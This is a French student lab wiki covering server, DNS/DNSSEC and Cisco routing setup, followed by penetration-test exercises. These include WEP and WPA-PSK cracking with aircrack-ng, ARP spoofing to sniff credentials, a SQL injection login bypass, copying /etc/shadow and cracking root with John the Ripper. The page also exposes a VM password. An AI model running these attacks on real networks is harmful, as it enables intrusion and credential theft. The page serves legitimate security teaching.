Wiki d'activités IMA - Contributions de l’utilisateur [fr]

TP sysres IMA5sc 2020/2021 G1

2020-12-14T16:50:04Z

Egury : /* DNS en IPV6 */

TP PRA - Evan Gury & Vincent Dubois - trompettedelamort

Informations générales
----------------------
{| class="wikitable"
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)
|-
| Groupe 1
| trompettedelamort.site
| Debian 10 Buster
| 301
| 100.64.0.28
| 255.255.255.0
| 100.64.0.254
| 100.64.0.1
| 100.64.0.2
| 193.48.57.188
|}

=2 Installation des systèmes d’exploitation (12/10/2020)=

ssh capbreton.plil.info
xen-create-image --hostname=trompettedelamort --ip=100.64.0.28 --gateway=100.64.0.2 --netmask=255.255.255.0 --dir=/usr/local/xen --password=pasglop --dist=buster

* Création des disques de stockage sur le serveur de virtualisation (pour tout les binômes):

Sur Capbreton:

** On réquisitionne les deux disques de 2,7To que l'on met dans un groupe

pvcreate /dev/sde
pvcreate /dev/sdf
vgcreate storage /dev/sde /dev/sdf

** On créer 2 partitions de 10Go pour chaque binôme:

lvcreate -L10G -n trompettedelamort1 storage
lvcreate -L10G -n trompettedelamort2 storage
...meme chose pour chaque groupe...

** On formate nos partitions:

mkfs.ext4 /dev/storage/trompettedelamort1
mkfs.ext4 /dev/storage/trompettedelamort2

* Modification du fichier de config de la VM (/etc/xen/trompettedelamort.cfg)
vif = ['bridge=IMA5sc, ip=100.64.0.84, ...']
et on indique quel disque utiliser:
disk = [
'file:/usr/local/xen/domains/trompettedelamort/disk.img,xvda2,w',
'file:/usr/local/xen/domains/trompettedelamort/swap.img,xvda1,w',
'phy:/dev/storage/trompettedelamort1,xvda3,w',
'phy:/dev/storage/trompettedelamort2,xvda4,w'
]

* Lancer la VM
xl create -c /etc/xen/trompettedelamort.cfg

Ensuite, sur la MV:

* Montage et peuplement des partitions:
mount /dev/xvda3 /mnt/xvda3
mount /dev/xvda4 /mnt/xvda4
mv /var/* /mnt/xvda4
# /home est vide donc rien a déplacer

puis on démonte:
umount /mnt/xvda3
umount /mnt/xvda4

* Modification du fichier /etc/fstab pour monter les répertoires '''var''' et '''home''' sur les partitions crées. On ajoute:
/dev/xvda3 /home /ext4 default 0 2
/dev/xvda4 /var /ext4 default 0 2

et on applique les modification du fichier fstab:
mount -a

=3 Architecture réseau=

==3.1 L’architecture générale (12/10/2020)==

La mise en service de l'infrastructure physique (démarrer les routeurs,connexions physiques entre eux et avec le routeur de l'école) a été principalement réalisés par le groupe 14.

==3.2 Les réseaux virtuels (12/10/2020)==

On créer deux VLAN:
* VLAN131 pour se connecter au routeur de l'école
* VLAN333 pour accéder aux machines virtuelles sur Capbreton

Cette partie a partiellement été réalisée par le groupe 14 lors de la première séances

==3.5 Interconnexion avec Internet IPv4(15/10/2020 & 02/11/2020)==

Le réseau utilisé pour ce TP est le 193.48.57.176/28 (cohabitation avec les IMA2A5 qui ont 193.48.57.160/27). Nous avons donc a notre disposition 16 adresses IP (193.48.57.176 à 193.48.57.191) parmi lesquelles nous devons réserver :
* 1 adresse pour le réseau
* 1 adresse de Broadcast
* 1 adresse pour le routeur 1 (6509-E)
* 1 adresse pour le routeur 2 (9200)
* 1 adresse flottante pour les routeurs (redondance)
Ce qui nous laisse 11 adresses disponibles pour 13 groupes...Impossible

L'idée est donc de créer un sous réseau 10.64.0.16/28 et de faire de de la Translation d'adresse (NAT) vers 193.48.57.176/28
Nous économisons ainsi les adresses des routeurs et de diffusion qui n'ont pas besoin d’être translatées.

===OSPF===
L'OSPF permet aux routeurs dans un même domaine d'échanger des informations sur le réseau. Cela permet aux différents routeurs voisins d'avoir de meilleur tables de routages. On réalise donc cette étape sur les deux routeurs pour qu'ils s'echanges leurs tables entre eux mais également avec le routeur de l'école

'''6509-E'''

ip route 193.48.57.176 255.255.255.0 null0 #Ajout d'une route vers le routeur pour pouvoir ping directement à partir du routeur

router ospf 1 # un numéro de processus
router-id 10.60.0.101 # un id pour le routeur (plus petite adresse disponible)
log-adjacency-changes
summary-address 193.48.57.176 255.255.255.240 # adresse que l'on souhaite diffuser aux voisins (addresse du VLAN 333)
summary-address 100.60.0.0 255.240.0.0 not-advertise # address q'on veut pas diffuser (celle du reseau privé)
summary-address 10.0.0.0 255.0.0.0 not-advertise # address q'on veut pas diffuser (?)
redistribute connected subnets # autorise la diffusion pour les nouveaux réseaux qui peuvent être connectés
redistribute static subnets
network 192.168.222.8 0.0.0.7 area 2 # domaine de diffusion OSPF (Attention au masque inversé)

On peut vérifier le bon fonctonnement avec un ping vers l'adresse globale routeur de l'école
ping 193.48.57.48

De plus, on constate de nouvelles routes partagé par le routeur de l'école ("O" au début de la ligne)
show ip route

'''9200'''
On fait la meme chose en changeant le router-id : 10.60.0.102

===NAT===
On cherche à réaliser une translation d'IP (NAT static) et non une mascarade (injection = NAT Dynamic)
ip nat inside source static network 100.64.0.16 193.48.57.176 /28
Cela permet d'associer les adresse non routées de 100.64.0.16 à 100.64.0.28 aux adresse routées de 193.48.57.176 à 193.48.57.188
Il faut ensuite indiquer ques sont les VLAN concernés par la translation:
int vlan 131
ip nat outside
exit
int vlan 333
ip nat inside
exit

===Problème association OSPF et NAT===
Il semblerait que l'association de l'OSPF et du NAT soit plus complexe que prévu: les deux fonctionnent bien indépendamment mais pas ensemble. En effet, l'OSPF n'annonce pas les routes vers 100.64.0.16/28 donc aucune communication vers l'exterieur n'est possible.

Pour palier à ce problème, on déclare 100.64.0.0/24 sur VLAN333 et annonce manuellement les routes entre 193.48.57.176 et 100.640.16 (plus de NAT).
La configuration du 9200 a été faite par M. Redon, on s'occupe du 6509-E :
boot
enable
conf t
int vlan 333
no ip address 193.48.57.161 255.255.255.224 #on enleve l'ancienne ip routée
ip address 100.64.0.1 255.255.255.0
exit
exit
write

on modifie également l'identifiant de l'ospf 1 qui était en conflit avec celui des IMA2A5:
router ospf 1
router-id 10.60.100.1

Enfin, on ajoute la route vers notre MV à la main:

ip route 193.48.57.188 255.255.255.255 100.64.0.28

Puis on configure notre machine virtuelle de manière a ce qu'elle ait les deux IP (100.64.0.28 et 193.48.57.188)(cf. partie suivante).

Les paquets venant de l'extérieur sont propagé à destination de 193.48.57.188 au routeur (6509-E ou 9200) puis vers 100.64.0.28 sur le VLAN333 suivant la route indiquée précédemment. Les paquets émis par notre machine virtuelle sont transmis à la passerelle par défaut (100.64.0.1 si 6509-E ou 100.64.0.2 si 9200) (comme spécifié avec le mot clé "src" lors de l'établissement des routes) puis le routeur connait les routes pour sortir en passant par le routeur de l'école.

==3.6 Interconnexion avec Internet (IPv6)(02/11/2020)==
Le groupe 14 c'est occupé de configurer le vlan333 pour qu'il utilise des ipv6

On crée le VLAN301 pour notre domaine:

* '''sur 6509-E'''
conf t
vlan 301
name trompettedelamort
exit
int vlan 301
no shutdown
ip address 10.60.101.1 255.255.255.0
ipv6 enable
ipv6 address 2001:660:4401:60b3::0/64 eui-64
ipv6 nd prefix 2001:660:4401:60b3::0/64 1000 900
ipv6 nd router-preference High #car routeur principale

* '''sur 6509-E'''
conf t
vlan 301
name trompettedelamort
exit
int vlan 301
no shutdown
ip address 10.60.101.2 255.255.255.0
ipv6 enable
ipv6 address 2001:660:4401:60b3::0/64 eui-64
ipv6 nd prefix 2001:660:4401:60b3::0/64 1000 900
ipv6 nd router-preference Low

Annonce de route avec RIP fait par groupe 14

==3.7 Sécurisation du réseau (02/11/2020)==
En partenariat avec le groupe 14.
Attention la syntaxe est différente entre le 9200 et le 6509-E
On configure la redondance avec l'adresse flottante pour les VLAN333 et VLAN1 ainsi que pour le notre VLAN301.
'''6509-E'''
conf t
int vlan 333
vrrp 33 ip 100.64.0.254 # adresse flottante des routeur dans vlan333
vrrp 33 preemt # priorité au routeur qui a une priorité supérieur
vrrp 33 priority 110 # priorité supérieur a celle du 9200
exit
int vlan 301
vrrp 31 ip 10.60.100.254 # adresse flottante des routeur dans vlan333
vrrp 31 preemt # priorité au routeur qui a une priorité supérieur
vrrp 31 priority 110 # priorité supérieur a celle du 9200
exit
int vlan 301
vrrp 41 ip 10.60.101.254 # adresse flottante des routeur dans notre vlan
vrrp 41 preemt
vrrp 41 priority 110
exit
exit
write

'''9200'''
conf t
int vlan 333
vrrp 33 address-family ipv4
priority 100
address 100.64.0.254
preemt
exit
int vlan 1
vrrp 31 address-family ipv4
priority 100
address 10.60.100.254
preemt
exit
int vlan 301
vrrp 41 address-family ipv4
priority 100
address 10.60.101.254
preemt
exit
exit
write

==3.8 Interconnexion Internet de secours (IPv4) (30/11/2020)==
(En collaboration avec le groupe 14)

===ISR4331===
On commcence par connecter l'ISR au boitier SDSL dans le local technique SR52. Pour cela, on repère le port de connexion:
SR52# int Gi0/37
SR52# switchport mode access
SR52# switchport access vlan 531

Puis on configure le nouveau VLAN 531 sur l'ISR (!Attention! sur cet équipement, l'équivalent VLAN est BDI)

ISR4331# int BDI531
ISR4331# ip address 192.168.222.26 255.255.255.248
ISR4331# no shut
ISR4331# exit
ISR4331# int GigabitEthernet0/0/1
ISR4331# service instance 531 ethernet
ISR4331# encapsulation untagged
ISR4331# bridge-domain 531
ISR4331# exit

On configure également le BDI 333 avec VRRP pour que les VM accède à ce router. Cet équipement aura une priorité VRRP inférieure aux deux autres routeurs car il est destiné a tourner qu'en cas de problème de connexion par le routeur de l'école.

ISR4331# int BDI 333
ISR4331# ip address 100.64.0.3 255.255.255.0
ISR4331# vrrp 33 ip 100.64.0.254
ISR4331# vrrp 33 preempt
ISR4331# vrrp 33 priority 90
ISR4331# exit

On y ajoute les ports reliés aux routeurs

ISR4331# int Gi0/0/0
ISR4331# service instance 333 ethernet
ISR4331# encapsulation dot1q 333
ISR4331# rewrite ingress tag pop 1 symmetric
ISR4331# bridge-domain 333
ISR4331# exit

ISR4331# int Gi0/0/2
ISR4331# service instance 333 ethernet
ISR4331# encapsulation dot1q 333
ISR4331# rewrite ingress tag pop 1 symmetric
ISR4331# bridge-domain 333
ISR4331# exit

===SLA===
A ce stade, nos équipement sont connecté mais on ne sait pas quand l'ISR4331 doit prendre la main.
On utilise le mécanisme SLA pour décrémenter la priorité des routeurs 1 et lorsqu'un incident sur le routeur RENATER (192.168.44.1) est détecté.
Sur le premier routeur:

6509-E# ip sla 1
6509-E# icmp-echo 192.168.44.1
6509-E# frequency 300
6509-E# exit
6509-E# ip sla schedule 1 life forever start-time now
6509-E# track 1 ip sla 1
6509-E# exit
6509-E# int vlan 333
6509-E# vrrp 33 track 1 decrement 50
6509-E# exit

Penser a passer le port relié à l'ISR en mode trunk sans quoi on ne poura pas passer d'un VLAN à l'autre

6509-E# int Te6/5
6509-E# switchport trunk encapsulation dot1q
6509-E# switchport mode trunk
6509-E# exit

On fait la même chose sur le deuxième routeur:

C9200# ip sla 1
C9200# icmp-echo 192.168.44.1
C9200# frequency 300
C9200# exit
C9200# ip sla schedule 1 life forever start-time now
C9200# track 1 ip sla 1
C9200# exit
C9200# int vlan 333
C9200# vrrp 33 address-family ipv4
C9200# track 1 decrement 50
C9200# exit

C9200# int Gi1/0/2
C9200# switchport mode trunk
C9200# exit
C9200# exit

A présent l'ISR peut prendre le relais si la connexion à internet par le routeur de l'école ne fonctionne plus.
Il ne reste plus qu'a faire la Mascarade sur l'ISR (IPs VMS -> 1 IP publique du SDLS = NAT dynamique sans pool = Mascarade)

===Mascarade===

ISR4331# int loopback 0
ISR4331# ip address 213.215.6.102 255.255.255.255
ISR4331# exit
ISR4331# int bdi 531
ISR4331# ip nat outside
ISR4331# exit
ISR4331# int bdi 333
ISR4331# ip nat inside
ISR4331# exit
ISR4331# access-list 33 permit 193.48.57.176 0.0.0.15
ISR4331# ip nat inside source list 33 int loopback 0 overload
ISR4331# exit
ISR4331# ip route 193.48.57.176 255.255.255.255 100.64.0.16

On utilise bien les adresses routés des VM (193.57.48...) et non les adresses privées (100.64....) sinon on serait incapable de revenir vers les VM car le routeur ne connait pas la route vers ces dernières.

===Tests===

On test dans un premier temps la connexion internet. Sur nos VM on remplace la gateway avec l'IP de l'ISR: 100.64.0.3.

Pour tester la prise de relai de l'ISR, on débranche la connexion vers le routeur de l’école des deux routeurs R1 et R2. L'ISR passe bien Master au bout d'un certain temps (<300s).

Il n'est cependant pas possible d’accéder à nos VM depuis cette nouvelle connexion sans que la VM initie la dite connexion. En effet, la mascarade mis en place ne permet pas à l'ISR de router vers l’intérieur, il faudrait utiliser des ports différents pour chaque connexion aux VMs.

==3.9 Interconnexion Internet de secours (IPv6) ()==
Suite au prochain épisode

=4 Services Internet=

==Connexion a internet (02/11/2020)==

Afin de mettre internet sur nos machines il faut au préalable modifier le fichier /etc/network/interfaces de nos VM:
# The loopback network interface
auto lo
iface lo inet loopback
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.188
netmask 255.255.255.255
up ip address add dev eth0 100.64.0.28/24
up ip route add default via 100.64.0.2 src 193.48.57.188
down ip address del dev eth0 100.64.0.28/24
down ip route del default via 100.64.0.2 src 193.48.57.188

L'adresse 193.48.57.188 correspond à notre adressé routée, l'adresse 100.64.0.28 est notre adresse sur le vlan333 et l'adresse 100.64.0.2 est l'adresse du routeur/commutateur 9200 sur le vlan333.

Il faut ensuite ajouter la route sur le 9200 pour notre VM. Pour se faire on se connecte en ssh sur la zabeth09:
ssh pifou@zabet09.plil.info
Et ensuite via minicom:
minicom -os /dev/ttyACM0
On rentre la commande suivante (apres avoir fait enable et conf t au préalable):
ip route 193.48.57.188 255.255.255.255 100.64.0.28

Nous avons désormais accès à internet sur nos VM et nous pouvons donc maintenant installer bind9 et configurer notre DNS.

==4.1 Serveur SSH (02/11/2020)==
Le service SSH était activé par defaut.
Il faut juste autoriser la connexion en root dans le fichier /etc/ssh/sshd_config
PermitRootLogin yes

puis systemctl restart sshd

et on peut se connecter a notre vm
ssh root@193.48.57.188

==4.2 Serveur DNS (02/11/2020)==

Pour commencer dans le fichier de configuration /etc/resolv.conf nous avons mis comme adresse de serveur de nom
127.0.0.1

Dans /etc/bind/named.conf.local, en suivant le cours nous avons modifié et/ou ajouté:
options{
directory "/var/cache/bind";
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer"; };
};
acl "allowed_to_transfer" {
217.70.177.40/32 ;
};

Ensuite avec bind9 nous avons pu configurer notre serveur de nom.
Dans le fichier /etc/bind/named.conf.local nous avons défini notre zone "trompettedelamort.site":
zone "trompettedelamort.site" IN {
type master;
file "/etc/bind/db.trompettedelamort.site";
allow-transfer { 217.70.177.40;};
};

Puis nous avons configuré le fichier db.trompettedelamort.site. Pour se faire nous avons pris le fichier par defaut db.local que nous avons copié puis modifié:
zone "trompettedelamort.site" IN {
;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns1.trompettedelamort.site. postmaster.trompettedelamoo
rt.site(
4 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.trompettedelamort.site.
@ IN NS ns6.gandi.net.
ns1 IN A 193.48.57.188

Enfin sur gandi.net nous avons crée un glue record dans lequel nous avons mis l'adresse ip de notre machine virtuelle puis nous avons ajouté dans Nameservers.
ns6.gandi.net possedant déjà son glue record, nous avons simplement ajouté ce dernier dans Nameservers.

==4.3 Sécurisation de site web par certificat (16/11/2020)==

La documentation de ce point est disponible ici https://archives.plil.fr/vdubois-/PRA.git

http://www.trompettedelamort.site/toto.html

==4.4 Sécurisation de serveur DNS par DNSSEC (16/11/2020)==

La configuration a été réalisé en suivant les instructions dans le sujet de TP rubrique : 4.4 Sécurisation de serveur DNS par DNSSEC

Premièrement nous avons modifié le ficher named.conf.options pour y ajouter l'options suivantes:
dnssec-enable yes

Nous avons ensuite crée un repertoir trompettedelamort.dnssec afin d'y générer les clefs. Nous devons générer une paire de clef KSK et une paire de clef ZSK.

Pour créer la paire de clef KSK, nous utilisons la commande suivante:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE trompettedelamort.site

Et pour la paire de clef ZSK, nous utilisons la commande suivante:
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE trompettedelamort.site

Nous renommons ces paires avec comme prefixe trompettedelamort.site et comme suffice -zsk pour la paire zsk et -ksk pour la paire ksk et nous terminon avec .key pour les clefs publiques et .private pour les clefs privées.

Ensuite dans notre fichier zone db.trompettedelamort.site nous ajoutons les lignes suivantes sans oublier d'incrémenter le Serial:
$include /etc/bind/trompettedelamort.dnssec/trompettedelamort-ksk.key
$include /etc/bind/trompettedelamort.dnssec/trompettedelamort-zsk.key

Le fichier db.trompettedelamort.site ressemble donc à cela:
;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns1.trompettedelamort.site. postmaster.trompettedelamort.site.(
8 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.trompettedelamort.site.
@ IN NS ns6.gandi.net.
@ IN MX 100 ns1.trompettedelamort.site.
ns1 IN A 193.48.57.188
www IN A 193.48.57.188
$include /etc/bind/trompettedelamort.site.dnssec/trompettedelamort.site-ksk.key
$include /etc/bind/trompettedelamort.site.dnssec/trompettedelamort.site-zsk.key

Nous signons ensuite les enregristrement de la zone avec la commande suivante:
dnssec-signzone -o trompettedelamort.site -k trompettedelamort.site-ksk ../db.trompettedelamort.site trompettedelamort.site-zsk
Ce qui a pour effet de générer un fichier zone "db.trompettedelamort.site.signed"

Nous n'avons donc plus qu'a remplacer db.trompettedelamort.site par db.trompettedelamort.site.signed dans le fichier named.conf.local:
root@trompettedelamort:~# cat /etc/bind/named.conf.local
//
// Do any local configuration here
zone "trompettedelamort.site" IN {
type master;
file "/etc/bind/db.trompettedelamort.site.signed";
allow-transfer { 217.70.177.40;};
};
// Consider adding the 1918 zones here, if they are not used in your
// organization
//include "/etc/bind/zones.rfc1918";

Pour finir il ne reste plus qu'a fournir la clef publique de la clef KSK à gandi.net. Pour se faire il faut se rendre dans "DNSSEC" puis dans "Add an external key", choisir KSK et "RSA/SHA-1" et renseigner la clef se trouvant dans
/etc/bind/trompettedelamort.site.dnssec/trompettedelamort.site-ksk.key

On vérifie avec la commande suivante:
dnssec-verify -o trompettedelamort.site db.trompettedelamort.site.signed

Qui nous renvoie ce résultat:
Verifying the zone using the following algorithms: RSASHA1.
Zone fully signed:
Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked
ZSKs: 1 active, 0 stand-by, 0 revoked
../db.trompettedelamort.site.signed

==4.5 DNS en IPV6==

Dans le fichier db.trompettedelamort.site il suffit de rajouter deux entrées comme nous l'avons fait en IPV4
ns1 IN AAAA 2001:660:4401:60b2:216:3eff:fe6f:4f0b
www IN AAAA 2001:660:4401:60b2:216:3eff:fe6f:4f0b

Il faut penser à augmenter le Serial
Ensuite il suffit de ressigner les zones comme précedemment:
dnssec-signzone -o trompettedelamort.site -k trompettedelamort.site-ksk ../db.trompettedelamort.site trompettedelamort.site-zsk

Puis relancer le serveur bind.

Avec la commande:
host -t soa trompettedelamort.site ns6.gandi.net
On peut vérifier que le changement a bien été pris en compte.

=Tests d’intrusion=

==5.1 Exploitation de failles du système (en cours)==

==5.2 Cassage de clef WEP d’un point d’accès WiFi (15/10/2020)==

Avec le packetage aircrack-ng il est possible de casser une clef wep.

Pour se faire on récupère le nom de de notre interface WiFi et son adresse MAC avec :
iwconfig

Ensuite pour analyser les packets WiFi qui circulent sur le réseau on se sert de la commande:
airodump-ng nomDeMaCarte
Se faisant, l'interface se met automatiquement en mode monitor.

Il faut ensuite tester le Point d'accés avec une injection test:
aireplay-ng -9 -e nomPA -a MACPA nomDeMaCarte
-9 permet de réaliser un test.

Pour casser la clef WEP, l'algorithme nécessite le plus de vecteur d'initialisation possible. Pour récupérer ces derniers on se sert de la commande suivante:
airodump-ng -c 3 --bssid MACPA -w output nomDeMaCarte
-c 3 correspond au canal sur lequel émet notre PA, et output sera le fichier contenant tous les vecteurs d'initialisations.

Pour accélérer l'acquisition de vecteurs d'initialisations,nous allons récupérer tous les paquets ARP émis par le PA et les réinjecter. A chaque réinjection les PA génère un nouveau vecteur d'initialisation, cette technique permet d'accélérer la collecte des vecteurs.

Pour permettre l'injection de paquet ARP dans le PA il faut d'abord associer la carte et le PA:
aireplay-ng 1 0 -e nomPA -a MACPA -h MACcarte nomDeMaCarte
-1 correspond à une fausse authentification et 0 au délais de réassociation.

Une fois que nous avons collecté suffisament de vecteurs nous pouvons lancer l'algorithme de cassage:
aircrack-ng -b MACPA output*.cap

==5.3 Cassage de mot de passe WPA-PSK par force brute (02/11/2020)==

On commence par mettre l'interface WiFi en mode monitor:
airmon-ng start maCarte

Ensuite on lance une écoute généralisée des trames WiFi qui circulent:
airodump-ng maCarte

A partir de là on peut récupérer le BSSID, L'ESSID et le canal utilisé par le PA qui nous intéresse, nous avons pris la kracotte03.

Puis pour cibler la recherche on lance la commande suivante:
airodump-ng -c 3 --bssid MACPA -w psk maCarte

A partir de la on attend un handshake (émis lors de la connexion d'un utilisateur au PA).

Une fois le handshake récupéré il n'y a plus qu'a lancer l'algorithme pour casser la PSK:
aircrack-ng -w dictionnaire -b MACPA psk*.cap

Il faut au préalable avoir un dictionnaire contenant toutes les combinaisons qui nous intéressent, dans notre un cas il nous faut toutes les combinaisons possibles sur 8bits en décimale.
Pour se faire soit on fait un petit programme générant toutes les combinaisons possibles, soit on se sert d'un outil de création de dictionnaire. Nous avons utilisé crunch avec la commande suivante:
crunch 8 8 0123456789 -o dictionnaire

Nous avons du attendre quelques heures avant que aircrack nous retourne la clef.

==5.4 Attaque de type "homme au milieu" par usurpation ARP (06/11/2020)==

N'ayant pas accès au eeePC (COVID19) on a créé deux machines virtuelles sur note machine personnelle pour simuler l'environement de TP.

[[Fichier:ARP1.png|1000px]]

On transforme la machine '''attacker''' en routeur:
attacker@attacker:~/ sysctl -w net.ipv4.ip_forward=1

Puis on lance l'empoisonnement du cache ARP de la victime:
attacker@attacker:~/ arpspoof -i enp0s3 -t 192.168.1.74 192.168.1.254

On peut vérifier que l'attaque a bien fonctionné en observant la table ARP de la victime:
victime@victime:~/ /arp
bbox.lan (192.168.1.254) at 08:00:27:34:f9:27
...
attacker (192.168.1.44) at 08:00:27:34:f9:27
L'adresse MAC de la passerelle par défaut (ma box internet dans ce cas) est la même que celle de la machine '''attacker'''

Lorsque la machine veut communiquer avec l'extérieur, elle passe donc automatiquement par la machine '''attacker''':
victime@victime:~/ traceroute 8.8.8.8
1 attacker (192.168.1.44) 0.456 ms 0.552 ms 0.537 ms
2 bbox.lan (192.168.1.254) 5.071 ms 5.053 ms 4.965 ms
...
9 dns.google (8.8.8.8) 13.306 ms 12.759 ms 12.551 ms

On lance wireshark sur '''attacker''' et on se connecte a un site http quelconque sur ''''victime'''. On peut voir transiter en claire les identifiants et mot de passes utilisés pour se connecter au site.

[[Fichier:ARP2.png|1000px]]

Même chose avec un logiciel de conversation instantanée non chiffré.

==5.5 Intrusion sur un serveur d’application Web (04/11/2020)==
===Injection SQL===
On se rend sur le site http://honey.plil.info. Etant donnée que le but est de s'introduire sur le serveur, on se doute que ce n'est pas l'application la plus sécurisée du monde: une simpl injection SQL pourais faire l'affaire pour obtenir une liste des identifiants de connexion. On renseigne donc les champs '''Identifiant''' et '''Mot de passe''' avec la valeure:
' OR 1 = 1 --
Bingo! L'application nous retourne un tableau avec des identifiant et mdp, on se connecter avec le profil '''admin'''

===Base de donnée===
En fouillant un peu sur l'interface web, on se rend compte qu'on a accés a un fichier '''config-db.php ''' (dans l'onglet '''Recherche d'un manuel'''). Ce dernier nous renseigne le mot de passe root d'abministration de la base de donnée. En se connectant à l'interface d'administration du serveur de BDD
http://honey.plil.info/phpmyadmin/ avec ce mot de passe, on accède au contenue des tables.

Une table en particulier nous interesse: '''users''' dans la base '''test''', puisqu'elle contient les identifiant de connexion ('''rex''')

===connexion au serveur===
On peut verifier que le serveur est bien accéssible a distance avec:
nmap -6 honey.plil.info
qui nous renseigne que les services http et ssh sont accéssible sur la machine.

On tente donc de se connecter en ssh avec les information récupérées dans la base de donnée.

On a accès a tous les fichier de configuration et nottament les informations sur les utilisateurs que l'on récupère:
scp /etc/passwd pifou@zabethXX:~/intrusion/passwd
scp /etc/shadow pifou@zabethXX:~/intrusion/shadow

===Cassage du mot de passe root===
Pour la suite, nous utilisons les commandes de l'utilitaire '''John the Ripper'''.
La commande suivante nous permet de voir les mots de passe chiffrés des utilisateurs.
unshadow ./passwd ./shadow | grep root > pass
On enregistre la clé de l'utilisateur '''root''' dans un fichier '''pass'''.

Comme nous savons que le mot de passe suis la meme logique que le mot de passe administrateur habituel des machines de projets, on suppose qu'il s'agit d'un répétition de 2 mot de 4 lettre: abcdabcd. On génere un dictionnaire qui permettera de casser le mot de passe chiffé.
crunch 4 4 abcdefghijklmnopqrstuvwxyz > dico
sed -i 's/$.*$/\1\1/' dico

puis on lance le cassage:
/usr/sbin/john -w:dico pass

apres quelques minutes, le mot de passe est diponible en clair:
/usr/sbin/john --show pass

=Réalisations=

===6.1 Sécurisation de données (11/30/2020)===

La documentation de ce point est disponible ici https://archives.plil.fr/vdubois-/PRA.git

===6.2 Chiffrement de données (01/12/2020)===

La documentation de ce point est disponible ici https://archives.plil.fr/vdubois-/PRA.git

===6.3 Inspection ARP par un élément réseau===

===6.4 Sécurisation WiFi par WPA2-EAP===

TP sysres IMA5sc 2020/2021 G1

2020-12-14T16:49:39Z

Egury : /* 4.4 Sécurisation de serveur DNS par DNSSEC (16/11/2020) */

TP PRA - Evan Gury & Vincent Dubois - trompettedelamort

Informations générales
----------------------
{| class="wikitable"
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)
|-
| Groupe 1
| trompettedelamort.site
| Debian 10 Buster
| 301
| 100.64.0.28
| 255.255.255.0
| 100.64.0.254
| 100.64.0.1
| 100.64.0.2
| 193.48.57.188
|}

=2 Installation des systèmes d’exploitation (12/10/2020)=

ssh capbreton.plil.info
xen-create-image --hostname=trompettedelamort --ip=100.64.0.28 --gateway=100.64.0.2 --netmask=255.255.255.0 --dir=/usr/local/xen --password=pasglop --dist=buster

* Création des disques de stockage sur le serveur de virtualisation (pour tout les binômes):

Sur Capbreton:

** On réquisitionne les deux disques de 2,7To que l'on met dans un groupe

pvcreate /dev/sde
pvcreate /dev/sdf
vgcreate storage /dev/sde /dev/sdf

** On créer 2 partitions de 10Go pour chaque binôme:

lvcreate -L10G -n trompettedelamort1 storage
lvcreate -L10G -n trompettedelamort2 storage
...meme chose pour chaque groupe...

** On formate nos partitions:

mkfs.ext4 /dev/storage/trompettedelamort1
mkfs.ext4 /dev/storage/trompettedelamort2

* Modification du fichier de config de la VM (/etc/xen/trompettedelamort.cfg)
vif = ['bridge=IMA5sc, ip=100.64.0.84, ...']
et on indique quel disque utiliser:
disk = [
'file:/usr/local/xen/domains/trompettedelamort/disk.img,xvda2,w',
'file:/usr/local/xen/domains/trompettedelamort/swap.img,xvda1,w',
'phy:/dev/storage/trompettedelamort1,xvda3,w',
'phy:/dev/storage/trompettedelamort2,xvda4,w'
]

* Lancer la VM
xl create -c /etc/xen/trompettedelamort.cfg

Ensuite, sur la MV:

* Montage et peuplement des partitions:
mount /dev/xvda3 /mnt/xvda3
mount /dev/xvda4 /mnt/xvda4
mv /var/* /mnt/xvda4
# /home est vide donc rien a déplacer

puis on démonte:
umount /mnt/xvda3
umount /mnt/xvda4

* Modification du fichier /etc/fstab pour monter les répertoires '''var''' et '''home''' sur les partitions crées. On ajoute:
/dev/xvda3 /home /ext4 default 0 2
/dev/xvda4 /var /ext4 default 0 2

et on applique les modification du fichier fstab:
mount -a

=3 Architecture réseau=

==3.1 L’architecture générale (12/10/2020)==

La mise en service de l'infrastructure physique (démarrer les routeurs,connexions physiques entre eux et avec le routeur de l'école) a été principalement réalisés par le groupe 14.

==3.2 Les réseaux virtuels (12/10/2020)==

On créer deux VLAN:
* VLAN131 pour se connecter au routeur de l'école
* VLAN333 pour accéder aux machines virtuelles sur Capbreton

Cette partie a partiellement été réalisée par le groupe 14 lors de la première séances

==3.5 Interconnexion avec Internet IPv4(15/10/2020 & 02/11/2020)==

Le réseau utilisé pour ce TP est le 193.48.57.176/28 (cohabitation avec les IMA2A5 qui ont 193.48.57.160/27). Nous avons donc a notre disposition 16 adresses IP (193.48.57.176 à 193.48.57.191) parmi lesquelles nous devons réserver :
* 1 adresse pour le réseau
* 1 adresse de Broadcast
* 1 adresse pour le routeur 1 (6509-E)
* 1 adresse pour le routeur 2 (9200)
* 1 adresse flottante pour les routeurs (redondance)
Ce qui nous laisse 11 adresses disponibles pour 13 groupes...Impossible

L'idée est donc de créer un sous réseau 10.64.0.16/28 et de faire de de la Translation d'adresse (NAT) vers 193.48.57.176/28
Nous économisons ainsi les adresses des routeurs et de diffusion qui n'ont pas besoin d’être translatées.

===OSPF===
L'OSPF permet aux routeurs dans un même domaine d'échanger des informations sur le réseau. Cela permet aux différents routeurs voisins d'avoir de meilleur tables de routages. On réalise donc cette étape sur les deux routeurs pour qu'ils s'echanges leurs tables entre eux mais également avec le routeur de l'école

'''6509-E'''

ip route 193.48.57.176 255.255.255.0 null0 #Ajout d'une route vers le routeur pour pouvoir ping directement à partir du routeur

router ospf 1 # un numéro de processus
router-id 10.60.0.101 # un id pour le routeur (plus petite adresse disponible)
log-adjacency-changes
summary-address 193.48.57.176 255.255.255.240 # adresse que l'on souhaite diffuser aux voisins (addresse du VLAN 333)
